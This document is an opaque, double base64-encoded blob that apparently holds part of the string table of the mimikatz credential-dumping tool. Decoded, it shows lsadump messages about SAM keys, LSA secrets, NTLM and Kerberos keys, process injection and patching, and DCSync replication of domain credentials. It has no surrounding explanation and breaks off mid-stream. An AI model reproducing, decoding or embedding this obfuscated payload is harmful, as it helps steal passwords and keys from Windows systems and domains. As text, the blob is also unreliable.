QWRRQmxBRVVBZUFBZ0FFWUFJQUJMQUU4QUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFad0JsQUhRQVV3QmhBRzBBU3dCbEFIa0FJQUE3QUNBQWNBQnlBR1VBSUFBdEFDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFHVUFad0JwQUhNQWRBQnlBSGtBWHdCU0FHVUFad0JSQUhVQVpRQnlBSGtBVmdCaEFHd0FkUUJsQUVVQWVBQWdBRVlBSUFCTEFFOEFBQUJRQUc4QWJBQmZBRjhBUkFCdEFFNEFBQUFBQUZBQWJ3QnNBRjhBWHdCRUFHMEFVd0FBQUFBQUpRQnpBQ0FBYmdCaEFHMEFaUUFnQURvQUlBQUFBQUFBSUFBb0FBQUFBQUFwQUFBQVVBQnZBR3dBYVFCakFIa0FBQUFBQUV3QWJ3QmpBR0VBYkFBQUFFRUFZd0FBQUFBQVJBQnZBRzBBWVFCcEFHNEFBQUFBQUZBQWNnQUFBQUFBVUFCdkFHd0FVZ0JsQUhZQWFRQnpBR2tBYndCdUFBQUFDZ0JRQUc4QWJBQnBBR01BZVFBZ0FITUFkUUJpQUhNQWVRQnpBSFFBWlFCdEFDQUFhUUJ6QUNBQU9nQWdBQ1VBYUFCMUFDNEFKUUJvQUhVQUNnQUFBRkFBYndCc0FFVUFTd0JNQUdrQWN3QjBBQUFBVUFCdkFHd0FVd0JsQUdNQWNnQmxBSFFBUlFCdUFHTUFjZ0I1QUhBQWRBQnBBRzhBYmdCTEFHVUFlUUFBQUFBQVRBQlRBRUVBSUFCTEFHVUFlUUFvQUhNQUtRQWdBRG9BSUFBbEFIVUFMQUFnQUdRQVpRQm1BR0VBZFFCc0FIUUFJQUFBQUNBQUlBQmJBQ1VBTUFBeUFIVUFYUUFnQUFBQUlBQUFBRXdBVXdCQkFDQUFTd0JsQUhrQUlBQTZBQ0FBQUFBQUFGTUFaUUJqQUhJQVpRQjBBSE1BQUFCekFHVUFjZ0IyQUdrQVl3QmxBSE1BQUFBQUFBb0FVd0JsQUdNQWNnQmxBSFFBSUFBZ0FEb0FJQUFsQUhNQUFBQmZBRk1BUXdCZkFBQUFBQUJEQUhVQWNnQnlBRllBWVFCc0FBQUFDZ0JqQUhVQWNnQXZBQUFBVHdCc0FHUUFWZ0JoQUd3QUFBQUFBQW9BYndCc0FHUUFMd0FBQUZNQVpRQmpBSElBWlFCMEFITUFYQUJPQUV3QUpBQkxBRTBBWEFCREFIVUFjZ0J5QUZZQVlRQnNBQUFBUXdCaEFHTUFhQUJsQUFBQVRnQk1BQ1FBU1FCMEFHVUFjZ0JoQUhRQWFRQnZBRzRBUXdCdkFIVUFiZ0IwQUFBQUtnQWdBRTRBVEFBa0FFa0FkQUJsQUhJQVlRQjBBR2tBYndCdUFFTUFid0IxQUc0QWRBQWdBR2tBY3dBZ0FDVUFkUUFzQUNBQUpRQjFBQ0FBY2dCbEFHRUFiQUFnQUdrQWRBQmxBSElBWVFCMEFHa0Fid0J1QUNnQWN3QXBBQW9BQUFBQUFDb0FJQUJFQUVNQVF3QXhBQ0FBYlFCdkFHUUFaUUFnQUNFQUNnQUFBQUFBQUFBQUFDb0FJQUJKQUhRQVpRQnlBR0VBZEFCcEFHOEFiZ0FnQUdrQWN3QWdBSE1BWlFCMEFDQUFkQUJ2QUNBQVpBQmxBR1lBWVFCMUFHd0FkQUFnQUNnQU1RQXdBRElBTkFBd0FDa0FDZ0FBQUFBQVRnQk1BQ1FBUXdCdkFHNEFkQUJ5QUc4QWJBQUFBQUFBQ2dCYkFDVUFjd0FnQUMwQUlBQUFBRjBBQ2dCU0FFa0FSQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBS0FBbEFIVUFLUUFLQUFBQUFBQStBQ0FBU3dCcEFIY0FhUUFnQUcwQWJ3QmtBR1VBTGdBdUFDNEFDZ0FBQUNBQUlBQk5BSE1BUXdCaEFHTUFhQUJsQUZZQU1nQWdBRG9BSUFBQUFBQUFJQUFnQUVNQWFBQmxBR01BYXdCekFIVUFiUUFnQUNBQU9nQWdBQUFBQUFBK0FDQUFUd0JMQUNFQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdjQVpRQjBBRTRBVEFCTEFFMEFVd0JsQUdNQWNnQmxBSFFBUVFCdUFHUUFRd0JoQUdNQWFBQmxBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCbEFHY0FhUUJ6QUhRQWNnQjVBRjhBVWdCbEFHY0FVd0JsQUhRQVZnQmhBR3dBZFFCbEFFVUFlQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQWdBQ0FBVFFCekFFTUFZUUJqQUdnQVpRQldBREVBSUFBNkFDQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJPQUV3QVN3Qk5BRk1BWlFCakFISUFaUUIwQUVFQWJnQmtBRU1BWVFCakFHZ0FaUUFnQURzQUlBQlNBSFFBYkFCRkFHNEFZd0J5QUhrQWNBQjBBRVFBWlFCakFISUFlUUJ3QUhRQVVnQkRBRFFBSUFBNkFDQUFNQUI0QUNVQU1BQTRBSGdBQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdjQVpRQjBBRTRBVEFCTEFFMEFVd0JsQUdNQWNnQmxBSFFBUVFCdUFHUUFRd0JoQUdNQWFBQmxBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3Qm9BRzBBWVFCakFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUJWQUhNQVpRQnlBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBQzRBS2dCekFGd0FKUUF1QUNvQWN3QUtBQUFBQUFCTkFITUFRd0JoQUdNQWFBQmxBRllBSlFCakFDQUFPZ0FnQUFBQVR3QmlBR29BWlFCakFIUUFUZ0JoQUcwQVpRQUFBQUFBSUFBdkFDQUFjd0JsQUhJQWRnQnBBR01BWlFBZ0FDY0FKUUJ6QUNjQUlBQjNBR2tBZEFCb0FDQUFkUUJ6QUdVQWNnQnVBR0VBYlFCbEFDQUFPZ0FnQUNVQWN3QUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFaQUJsQUdNQWNnQjVBSEFBZEFCVEFHVUFZd0J5QUdVQWRBQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQmZBRklBWlFCbkFGRUFkUUJsQUhJQWVRQldBR0VBYkFCMUFHVUFSUUI0QUNBQVV3QmxBR01BY2dCbEFIUUFJQUIyQUdFQWJBQjFBR1VBSUFCTEFFOEFDZ0FBQUhRQVpRQjRBSFFBT2dBZ0FDVUFkd0JhQUFBQWFBQmxBSGdBSUFBNkFDQUFBQUFBQUNRQVRRQkJBRU1BU0FCSkFFNEFSUUF1QUVFQVF3QkRBQUFBQUFBS0FDQUFJQUFnQUNBQVRnQlVBRXdBVFFBNkFBQUFBQUFLQUNBQUlBQWdBQ0FBVXdCSUFFRUFNUUE2QUFBQUFBQkVBRkFBUVFCUUFFa0FYd0JUQUZrQVV3QlVBRVVBVFFBQUFBQUFDZ0FnQUNBQUlBQWdBR1lBZFFCc0FHd0FPZ0FnQUFBQUNnQWdBQ0FBSUFBZ0FHMEFMd0IxQUNBQU9nQWdBQUFBSUFBdkFDQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QnpBR1VBWXdCZkFHRUFaUUJ6QURJQU5RQTJBQ0FBT3dBZ0FFTUFjZ0I1QUhBQWRBQkVBR1VBWXdCeUFIa0FjQUIwQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0J6QUdVQVl3QmZBR0VBWlFCekFESUFOUUEyQUNBQU93QWdBRU1BY2dCNUFIQUFkQUJUQUdVQWRBQkxBR1VBZVFCUUFHRUFjZ0JoQUcwQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUhNQVpRQmpBRjhBWVFCbEFITUFNZ0ExQURZQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmpBSElBZVFCd0FIUUFid0JmQUdnQWF3QmxBSGtBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFjd0JoQUcwQWN3QnlBSFlBTGdCa0FHd0FiQUFBQUFBQWJBQnpBR0VBY3dCeUFIWUFMZ0JrQUd3QWJBQUFBQUFBYmdCMEFHUUFiQUJzQUM0QVpBQnNBR3dBQUFCckFHVUFjZ0J1QUdVQWJBQXpBRElBTGdCa0FHd0FiQUFBQUFBQVUyRnRTVU52Ym01bFkzUUFVMkZ0Y2tOc2IzTmxTR0Z1Wkd4bEFGTmhiVWxTWlhSeWFXVjJaVkJ5YVcxaGNubERjbVZrWlc1MGFXRnNjd0FBVTJGdGNrOXdaVzVFYjIxaGFXNEFBRk5oYlhKUGNHVnVWWE5sY2dBQUFBQlRZVzF5VVhWbGNubEpibVp2Y20xaGRHbHZibFZ6WlhJQUFBQUFVMkZ0U1VaeVpXVmZVMEZOVUZKZlZWTkZVbDlKVGtaUFgwSlZSa1pGVWdCTWMyRkpVWFZsY25sSmJtWnZjbTFoZEdsdmJsQnZiR2xqZVZSeWRYTjBaV1FBQUFCTWMyRkpSbkpsWlY5TVUwRlFVbDlRVDB4SlExbGZTVTVHVDFKTlFWUkpUMDRBQUFCV2FYSjBkV0ZzUVd4c2IyTUFBQUFBVEc5allXeEdjbVZsQUFBQWJXVnRZM0I1QUFCd0FHRUFkQUJqQUdnQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCc0FITUFZUUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQVlRQjBBR01BYUFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR3dBY3dCaEFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjQUJ5QUc4QVl3QmxBSE1BY3dCZkFHY0FaUUIwQUZZQVpRQnlBSGtBUWdCaEFITUFhUUJqQUUwQWJ3QmtBSFVBYkFCbEFFa0FiZ0JtQUc4QWNnQnRBR0VBZEFCcEFHOEFiZ0J6QUVZQWJ3QnlBRTRBWVFCdEFHVUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUdrQWJnQnFBR1VBWXdCMEFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBYkFCekFHRUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQWJRQnZBSFFBWlFCc0FHa0FZZ0JmQUVNQWNnQmxBR0VBZEFCbEFGSUFaUUJ0QUc4QWRBQmxBRU1BYndCa0FHVUFWd0JwQUhRQWRBQm9BRkFBWVFCMEFIUUFaUUJ5QUc0QVVnQmxBSEFBYkFCaEFHTUFaUUFLQUFBQUFBQkVBRzhBYlFCaEFHa0FiZ0FnQURvQUlBQWxBSGNBV2dBZ0FDOEFJQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCc0FITUFZUUFnQURzQUlBQlRBR0VBYlFCTUFHOEFid0JyQUhVQWNBQkpBR1FBY3dCSkFHNEFSQUJ2QUcwQVlRQnBBRzRBSUFBbEFEQUFPQUI0QUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFiQUJ6QUdFQUlBQTdBQ0FBSndBbEFITUFKd0FnQUdrQWN3QWdBRzRBYndCMEFDQUFZUUFnQUhZQVlRQnNBR2tBWkFBZ0FFa0FaQUFLQUFBQUFBQnVBR0VBYlFCbEFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBYkFCekFHRUFJQUE3QUNBQVV3QmhBRzBBVEFCdkFHOEFhd0IxQUhBQVRnQmhBRzBBWlFCekFFa0FiZ0JFQUc4QWJRQmhBR2tBYmdBZ0FDVUFNQUE0QUhnQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHd0Fjd0JoQUNBQU93QWdBRk1BWVFCdEFFVUFiZ0IxQUcwQVpRQnlBR0VBZEFCbEFGVUFjd0JsQUhJQWN3QkpBRzRBUkFCdkFHMEFZUUJwQUc0QUlBQWxBREFBT0FCNEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR3dBY3dCaEFDQUFPd0FnQUZNQVlRQnRBRThBY0FCbEFHNEFSQUJ2QUcwQVlRQnBBRzRBSUFBbEFEQUFPQUI0QUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHd0Fjd0JoQUNBQU93QWdBRk1BWVFCdEFFTUFid0J1QUc0QVpRQmpBSFFBSUFBbEFEQUFPQUI0QUFvQUFBQlRBR0VBYlFCVEFITUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBYkFCekFHRUFYd0JuQUdVQWRBQklBR0VBYmdCa0FHd0FaUUFnQURzQUlBQlBBSEFBWlFCdUFGQUFjZ0J2QUdNQVpRQnpBSE1BSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QWJBQnpBR0VBWHdCbkFHVUFkQUJJQUdFQWJnQmtBR3dBWlFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFITUFaUUJ5QUhZQWFRQmpBR1VBWHdCbkFHVUFkQUJWQUc0QWFRQnhBSFVBWlFCR0FHOEFjZ0JPQUdFQWJRQmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBb0FVZ0JKQUVRQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUtBQWxBSFVBS1FBS0FGVUFjd0JsQUhJQUlBQTZBQ0FBSlFCM0FGb0FDZ0FBQUV3QVRRQWdBQ0FBSUFBNkFDQUFBQUFLQUU0QVZBQk1BRTBBSUFBNkFDQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR3dBY3dCaEFGOEFkUUJ6QUdVQWNnQWdBRHNBSUFCVEFHRUFiUUJSQUhVQVpRQnlBSGtBU1FCdUFHWUFid0J5QUcwQVlRQjBBR2tBYndCdUFGVUFjd0JsQUhJQUlBQWxBREFBT0FCNEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBYkFCekFHRUFYd0IxQUhNQVpRQnlBQ0FBT3dBZ0FGTUFZUUJ0QUU4QWNBQmxBRzRBVlFCekFHVUFjZ0FnQUNVQU1BQTRBSGdBQ2dBQUFGQUFjZ0JwQUcwQVlRQnlBSGtBQUFCREFFd0FSUUJCQUZJQVZBQkZBRmdBVkFBQUFGY0FSQUJwQUdjQVpRQnpBSFFBQUFCTEFHVUFjZ0JpQUdVQWNnQnZBSE1BQUFBQUFFc0FaUUJ5QUdJQVpRQnlBRzhBY3dBdEFFNEFaUUIzQUdVQWNnQXRBRXNBWlFCNUFITUFBQUFLQUNBQUtnQWdBQ1VBY3dBS0FBQUFJQUFnQUNBQUlBQk1BRTBBSUFBZ0FDQUFPZ0FnQUFBQUNnQWdBQ0FBSUFBZ0FFNEFWQUJNQUUwQUlBQTZBQ0FBQUFBQUFDQUFJQUFnQUNBQUpRQXVBQ29BY3dBS0FBQUFJQUFnQUNBQUlBQWxBREFBTWdCMUFDQUFJQUFBQUFBQUlBQWdBQ0FBSUFCRUFHVUFaZ0JoQUhVQWJBQjBBQ0FBVXdCaEFHd0FkQUFnQURvQUlBQWxBQzRBS2dCekFBb0FBQUFBQUVNQWNnQmxBR1FBWlFCdUFIUUFhUUJoQUd3QWN3QUFBRThBYkFCa0FFTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0Fjd0FBQUFBQUlBQWdBQ0FBSUFCRUFHVUFaZ0JoQUhVQWJBQjBBQ0FBVXdCaEFHd0FkQUFnQURvQUlBQWxBQzRBS2dCekFBb0FJQUFnQUNBQUlBQkVBR1VBWmdCaEFIVUFiQUIwQUNBQVNRQjBBR1VBY2dCaEFIUUFhUUJ2QUc0QWN3QWdBRG9BSUFBbEFIVUFDZ0FBQUFBQVV3QmxBSElBZGdCcEFHTUFaUUJEQUhJQVpRQmtBR1VBYmdCMEFHa0FZUUJzQUhNQUFBQUFBRThBYkFCa0FHVUFjZ0JEQUhJQVpRQmtBR1VBYmdCMEFHa0FZUUJzQUhNQUFBQUFBQ0FBSUFBZ0FDQUFJQUFnQUNVQWN3QWdBRG9BSUFBQUFDQUFJQUFnQUNBQUlBQWdBQ1VBY3dBZ0FDZ0FKUUIxQUNrQUlBQTZBQ0FBQUFBQUFFNEFUd0JPQUVVQUlBQWdBQ0FBQUFCT0FGUUFOQUJQQUZjQVJnQWdBQUFBUXdCTUFFVUFRUUJTQUNBQUlBQUFBRllBUlFCU0FGTUFTUUJQQUU0QUFBQWdBRnNBSlFCekFGMEFJQUFsQUhjQVdnQWdBQzBBUGdBZ0FDVUFkd0JhQUFvQUFBQWdBQ0FBSUFBZ0FDb0FJQUFBQUFBQWRRQnVBR3NBYmdCdkFIY0FiZ0EvQUFBQUFBQWdBQzBBSUFBbEFITUFJQUF0QUNBQUFBQUFBQzBBSUFBbEFIVUFJQUF0QUNBQUFBQnNBSE1BWVFCa0FHSUFMZ0JrQUd3QWJBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0IwQUhJQWRRQnpBSFFBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCd0FHRUFkQUJqQUdnQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFIUUFjZ0IxQUhNQWRBQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSEFBY2dCdkFHTUFaUUJ6QUhNQVh3Qm5BR1VBZEFCV0FHVUFjZ0I1QUVJQVlRQnpBR2tBWXdCTkFHOEFaQUIxQUd3QVpRQkpBRzRBWmdCdkFISUFiUUJoQUhRQWFRQnZBRzRBY3dCR0FHOEFjZ0JPQUdFQWJRQmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBS0FFTUFkUUJ5QUhJQVpRQnVBSFFBSUFCa0FHOEFiUUJoQUdrQWJnQTZBQ0FBSlFCM0FGb0FJQUFvQUNVQWR3QmFBQUFBQ2dCRUFHOEFiUUJoQUdrQWJnQTZBQ0FBSlFCM0FGb0FJQUFvQUNVQWR3QmFBQUFBSUFBZ0FFa0FiZ0FnQUFBQUlBQlBBSFVBZEFBZ0FBQUFJQUJKQUc0QUxRQXhBQUFBVHdCMUFIUUFMUUF4QUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBZEFCeUFIVUFjd0IwQUNBQU93QWdBRXdBY3dCaEFGRUFkUUJsQUhJQWVRQlVBSElBZFFCekFIUUFaUUJrQUVRQWJ3QnRBR0VBYVFCdUFFa0FiZ0JtQUc4QVFnQjVBRTRBWVFCdEFHVUFJQUFsQURBQU9BQjRBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUhRQWNnQjFBSE1BZEFBZ0FEc0FJQUJNQUhNQVlRQkZBRzRBZFFCdEFHVUFjZ0JoQUhRQVpRQlVBSElBZFFCekFIUUFaUUJrQUVRQWJ3QnRBR0VBYVFCdUFITUFSUUI0QUNBQUpRQXdBRGdBZUFBS0FBQUFJQUFnQUNvQUlBQlNBRk1BUVFBZ0FHc0FaUUI1QUFvQUFBQUFBRzRBZEFCa0FITUFBQUFBQUFrQVVBQkdBRmdBSUFCakFHOEFiZ0IwQUdFQWFRQnVBR1VBY2dBZ0FDQUFPZ0FnQUNVQWN3QWdBQzBBSUFBbkFDVUFjd0FuQUFvQUFBQUFBQ0FBSUFBcUFDQUFUQUJsQUdjQVlRQmpBSGtBSUFCckFHVUFlUUFLQUFBQWF3QmxBSGtBQUFCc0FHVUFad0JoQUdNQWVRQUFBQUFBQUFBQUFDQUFJQUFxQUNBQVZRQnVBR3NBYmdCdkFIY0FiZ0FnQUdzQVpRQjVBQ0FBS0FCekFHVUFaUUJ1QUNBQVlRQnpBQ0FBSlFBd0FEZ0FlQUFwQUFvQUFBQUpBRVVBZUFCd0FHOEFjZ0IwQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBSE1BSUFBdEFDQUFKd0FsQUhNQUp3QUtBQUFBQUFCSEFDUUFRZ0JEQUVzQVZRQlFBRXNBUlFCWkFGOEFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWndCbEFIUUFTd0JsQUhrQVJnQnlBRzhBYlFCSEFGVUFTUUJFQUNBQU93QWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUV3QWN3QmhBRklBWlFCMEFISUFhUUJsQUhZQVpRQlFBSElBYVFCMkFHRUFkQUJsQUVRQVlRQjBBR0VBT2dBZ0FEQUFlQUFsQURBQU9BQjRBQW9BQUFBQUFHY0FkUUJwQUdRQUFBQUFBQ0FBY3dCbEFHVUFiUUJ6QUNBQWRBQnZBQ0FBWWdCbEFDQUFZUUFnQUhZQVlRQnNBR2tBWkFBZ0FFY0FWUUJKQUVRQUNnQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFZZ0JyQUdVQWVRQWdBRHNBSUFCSkFHNEFkZ0JoQUd3QWFRQmtBR1VBSUFCSEFGVUFTUUJFQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUNBQU93QWdBQ1VBY3dBS0FBQUFBQUFLQUVNQWRRQnlBSElBWlFCdUFIUUFJQUJ3QUhJQVpRQm1BR1VBY2dCbEFHUUFJQUJyQUdVQWVRQTZBQ0FBSUFBZ0FDQUFJQUFnQUNBQUFBQkhBQ1FBUWdCREFFc0FWUUJRQUVzQVJRQlpBRjhBVUFCU0FFVUFSZ0JGQUZJQVVnQkZBRVFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QmlBR3NBWlFCNUFDQUFPd0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFFd0Fjd0JoQUZJQVpRQjBBSElBYVFCbEFIWUFaUUJRQUhJQWFRQjJBR0VBZEFCbEFFUUFZUUIwQUdFQU9nQWdBREFBZUFBbEFEQUFPQUI0QUFvQUFBQUFBQW9BUXdCdkFHMEFjQUJoQUhRQWFRQmlBR2tBYkFCcEFIUUFlUUFnQUhBQWNnQmxBR1lBWlFCeUFHVUFaQUFnQUdzQVpRQjVBRG9BSUFBQUFFY0FKQUJDQUVNQVN3QlZBRkFBU3dCRkFGa0FYd0JRQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCeUFIQUFaQUJoQUhRQVlRQWdBRHNBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3Qk1BSE1BWVFCU0FHVUFkQUJ5QUdrQVpRQjJBR1VBVUFCeUFHa0FkZ0JoQUhRQVpRQkVBR0VBZEFCaEFEb0FJQUF3QUhnQUpRQXdBRGdBZUFBS0FBQUFBQUJiQUVRQVF3QmRBQ0FBSndBbEFITUFKd0FnQUhjQWFRQnNBR3dBSUFCaUFHVUFJQUIwQUdnQVpRQWdBR1FBYndCdEFHRUFhUUJ1QUFvQUFBQmtBR01BQUFBQUFHc0FaQUJqQUFBQVd3QkVBRU1BWFFBZ0FDY0FKUUJ6QUNjQUlBQjNBR2tBYkFCc0FDQUFZZ0JsQUNBQWRBQm9BR1VBSUFCRUFFTUFJQUJ6QUdVQWNnQjJBR1VBY2dBS0FBb0FBQUJiQUVRQVF3QmRBQ0FBVHdCaUFHb0FaUUJqQUhRQUlBQjNBR2tBZEFCb0FDQUFSd0JWQUVrQVJBQWdBQ2NBSlFCekFDY0FDZ0FLQUFBQUFBQmJBRVFBUXdCZEFDQUFKd0FsQUhNQUp3QWdBSGNBYVFCc0FHd0FJQUJpQUdVQUlBQjBBR2dBWlFBZ0FIVUFjd0JsQUhJQUlBQmhBR01BWXdCdkFIVUFiZ0IwQUFvQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdRQVl3QnpBSGtBYmdCakFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFVQUJ5QUc4QVl3QmxBSE1BY3dCSEFHVUFkQUJPQUVNQVF3Qm9BR0VBYmdCbkFHVUFjd0JTQUdVQWNBQnNBSGtBQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdRQVl3QnpBSGtBYmdCakFDQUFPd0FnQUVRQVVnQlRBRWNBWlFCMEFFNEFRd0JEQUdnQVlRQnVBR2NBWlFCekFDd0FJQUJwQUc0QWRnQmhBR3dBYVFCa0FDQUFaQUIzQUU4QWRRQjBBRllBWlFCeUFITUFhUUJ2QUc0QUlBQmhBRzRBWkFBdkFHOEFjZ0FnQUdNQVRnQjFBRzBBVHdCaUFHb0FaUUJqQUhRQWN3QUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFaQUJqQUhNQWVRQnVBR01BSUFBN0FDQUFSd0JsQUhRQVRnQkRBRU1BYUFCaEFHNEFad0JsQUhNQU9nQWdBREFBZUFBbEFEQUFPQUI0QUNBQUtBQWxBSFVBS1FBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWkFCakFITUFlUUJ1QUdNQUlBQTdBQ0FBVWdCUUFFTUFJQUJGQUhnQVl3QmxBSEFBZEFCcEFHOEFiZ0FnQURBQWVBQWxBREFBT0FCNEFDQUFLQUFsQUhVQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVpBQmpBSE1BZVFCdUFHTUFJQUE3QUNBQVRRQnBBSE1BY3dCcEFHNEFad0FnQUhVQWN3QmxBSElBSUFCdkFISUFJQUJuQUhVQWFRQmtBQ0FBWVFCeUFHY0FkUUJ0QUdVQWJnQjBBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJz